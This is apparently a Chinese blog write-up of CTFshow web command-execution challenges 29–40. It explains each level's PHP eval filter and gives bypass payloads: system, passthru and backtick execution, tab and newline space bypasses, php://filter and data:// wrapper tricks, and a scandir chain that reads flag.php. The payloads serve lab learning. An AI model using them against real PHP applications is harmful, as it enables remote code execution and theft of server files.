[CTFshow]Web命令执行章节之[29-40]笔记

前言

直接冲

图片[1],[CTFshow]Web命令执行章节之[29-40]笔记,网络安全爱好者中心-神域博客网

Web29

图片[2],[CTFshow]Web命令执行章节之[29-40]笔记,网络安全爱好者中心-神域博客网
图片[3],[CTFshow]Web命令执行章节之[29-40]笔记,网络安全爱好者中心-神域博客网

error_reporting(0)先忽略错误

isset检查是否传参

传参c参数 如果匹配没有flag(i的意思是忽略大小写)

就可以执行eval函数,eval函数就不必介绍了吧

方法一:

使用tac读取文件 %20经过url编码是空格 *是匹配fla后所有的文件

?c=system("tac%20fla*");
图片[4],[CTFshow]Web命令执行章节之[29-40]笔记,网络安全爱好者中心-神域博客网

方法二:

把flag.php里的文件内容复制到别处

?c=system("cp fla*.php a.txt");

url编码后

?c=system("cp%20fla*.php%20a.txt");
图片[5],[CTFshow]Web命令执行章节之[29-40]笔记,网络安全爱好者中心-神域博客网

Web30

图片[6],[CTFshow]Web命令执行章节之[29-40]笔记,网络安全爱好者中心-神域博客网
图片[7],[CTFshow]Web命令执行章节之[29-40]笔记,网络安全爱好者中心-神域博客网

过滤了flag system以及php 并且忽略大小写

方法一:

忽略system可以用` ` 代替system进行执行命令 以及使用?进行占位

?c=`cp fla?.??? 1.txt`;
图片[8],[CTFshow]Web命令执行章节之[29-40]笔记,网络安全爱好者中心-神域博客网

当然用*也是可以的

图片[9],[CTFshow]Web命令执行章节之[29-40]笔记,网络安全爱好者中心-神域博客网

方法二:、

使用passthru代替system执行命令

?c=passthru("tac%20fla*");
图片[10],[CTFshow]Web命令执行章节之[29-40]笔记,网络安全爱好者中心-神域博客网

Web31

图片[11],[CTFshow]Web命令执行章节之[29-40]笔记,网络安全爱好者中心-神域博客网
图片[12],[CTFshow]Web命令执行章节之[29-40]笔记,网络安全爱好者中心-神域博客网

过滤的更多了

过滤了flag system php cat sort shell 还有. 空格 以及单引号

单引号双引号等需要搭配\进行转义

方法一:

用上一靶场的passthru代替system执行命令

先看看该目录有什么

?c=passthru("ls");
图片[13],[CTFshow]Web命令执行章节之[29-40]笔记,网络安全爱好者中心-神域博客网

之后用%09绕过空格

?c=passthru("tac%09fla*");
或者
?c=passthru("tac%09fla*????");
图片[14],[CTFshow]Web命令执行章节之[29-40]笔记,网络安全爱好者中心-神域博客网

方法二:

跳板逃匿

先使用

?c=eval($_GET[1]);&1=phpinfo();

发现可以执行并且php没有被过滤

图片[15],[CTFshow]Web命令执行章节之[29-40]笔记,网络安全爱好者中心-神域博客网

所以我们可以直接查看flag

?c=eval($_GET[1]);&1=system("tac flag.php");
图片[16],[CTFshow]Web命令执行章节之[29-40]笔记,网络安全爱好者中心-神域博客网

Web32

图片[17],[CTFshow]Web命令执行章节之[29-40]笔记,网络安全爱好者中心-神域博客网
图片[18],[CTFshow]Web命令执行章节之[29-40]笔记,网络安全爱好者中心-神域博客网

过滤了flag system php cat sort shell . 单引号 ` echo ; 还有空格以及左括号也禁掉了

方法一:

使用文件包含并且远程读取

%0a是换行符用于跳过空格 %09也可以跳过

后面的?>的作用是作为绕过分号,作为语句的结束。原理是:php遇到定界符关闭标签会自动在末尾加上一个分号。简单来说,就是php文件中最后一句在?>前可以不写分号。

?c=include%0a$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php
图片[19],[CTFshow]Web命令执行章节之[29-40]笔记,网络安全爱好者中心-神域博客网

解码一下得到flag

图片[20],[CTFshow]Web命令执行章节之[29-40]笔记,网络安全爱好者中心-神域博客网

Web33

图片[21],[CTFshow]Web命令执行章节之[29-40]笔记,网络安全爱好者中心-神域博客网
图片[22],[CTFshow]Web命令执行章节之[29-40]笔记,网络安全爱好者中心-神域博客网

比上一个多过滤了一个双引号

方法一与Web32相同

?c=include%0a$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php
图片[23],[CTFshow]Web命令执行章节之[29-40]笔记,网络安全爱好者中心-神域博客网

方法二:

使用require包含执行


?c=require%09$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php
图片[24],[CTFshow]Web命令执行章节之[29-40]笔记,网络安全爱好者中心-神域博客网

也可以解码一下就可以了

Web34

图片[25],[CTFshow]Web命令执行章节之[29-40]笔记,网络安全爱好者中心-神域博客网
图片[26],[CTFshow]Web命令执行章节之[29-40]笔记,网络安全爱好者中心-神域博客网

又多过滤一个冒号

上一把的解法在这一关同样适用

?c=require%09$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php
图片[27],[CTFshow]Web命令执行章节之[29-40]笔记,网络安全爱好者中心-神域博客网

Web35

图片[28],[CTFshow]Web命令执行章节之[29-40]笔记,网络安全爱好者中心-神域博客网
图片[29],[CTFshow]Web命令执行章节之[29-40]笔记,网络安全爱好者中心-神域博客网

比之前多过滤了<以及=

方法一:

与之前一样

?c=require%09$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php
图片[30],[CTFshow]Web命令执行章节之[29-40]笔记,网络安全爱好者中心-神域博客网

Web36

图片[31],[CTFshow]Web命令执行章节之[29-40]笔记,网络安全爱好者中心-神域博客网
图片[32],[CTFshow]Web命令执行章节之[29-40]笔记,网络安全爱好者中心-神域博客网

又把0-9给禁止了

把传入的参数改字母改成a即可

?c=require%09$_GET[a]?>&a=php://filter/convert.base64-encode/resource=flag.php
图片[33],[CTFshow]Web命令执行章节之[29-40]笔记,网络安全爱好者中心-神域博客网

Web37

图片[34],[CTFshow]Web命令执行章节之[29-40]笔记,网络安全爱好者中心-神域博客网
图片[35],[CTFshow]Web命令执行章节之[29-40]笔记,网络安全爱好者中心-神域博客网

使用Php data伪协议流

data伪协议数据流是URL编码,其目的是告诉服务器该URL的数据是一个简单的纯文本格式。

?c0=data://text/plain,<?=system('ls');?>
图片[36],[CTFshow]Web命令执行章节之[29-40]笔记,网络安全爱好者中心-神域博客网

让我们拿flag

?c=data://text/plain,<?=system('tac fla*');?>
图片[37],[CTFshow]Web命令执行章节之[29-40]笔记,网络安全爱好者中心-神域博客网

Web38

图片[38],[CTFshow]Web命令执行章节之[29-40]笔记,网络安全爱好者中心-神域博客网
图片[39],[CTFshow]Web命令执行章节之[29-40]笔记,网络安全爱好者中心-神域博客网

过滤了php

用上一关的方法data伪协议可以过

?c=data://text/plain,<?=system('tac fla*');?>
图片[40],[CTFshow]Web命令执行章节之[29-40]笔记,网络安全爱好者中心-神域博客网

Web39

图片[41],[CTFshow]Web命令执行章节之[29-40]笔记,网络安全爱好者中心-神域博客网
图片[42],[CTFshow]Web命令执行章节之[29-40]笔记,网络安全爱好者中心-神域博客网

如果我们输入?c=data://text/plain,<?=system(‘tac fla*’);?>

他会给我们添加成?c=data://text/plain,<?=system(‘tac fla*’);?>.php

但不影响前面代码执行

上一把的方法直接过

?c=data://text/plain,<?=system('tac fla*');?>
图片[43],[CTFshow]Web命令执行章节之[29-40]笔记,网络安全爱好者中心-神域博客网

Web40

图片[44],[CTFshow]Web命令执行章节之[29-40]笔记,网络安全爱好者中心-神域博客网
图片[45],[CTFshow]Web命令执行章节之[29-40]笔记,网络安全爱好者中心-神域博客网

过滤了数字0-9 ~ \ @ # $ %^&*( -= + {} [] \ : . ‘ ” <> / >\还有() 不过是中文括号

方法一:

?c=show_source(next(array_reverse(scandir(pos(localeconv())))));

pos(localeconv())))用于获取当前区域信息

scandir扫描当前目录

array_reverse进行目录反转

next数组用于将指针移动下一个元素整理来说是获取反转目录列表后的第一个文件

show_source展现源代码

图片[46],[CTFshow]Web命令执行章节之[29-40]笔记,网络安全爱好者中心-神域博客网

OK

------本文已结束,感谢您的阅读------
THE END
喜欢就支持一下吧
点赞13 分享
评论 抢沙发

请登录后发表评论

    暂无评论内容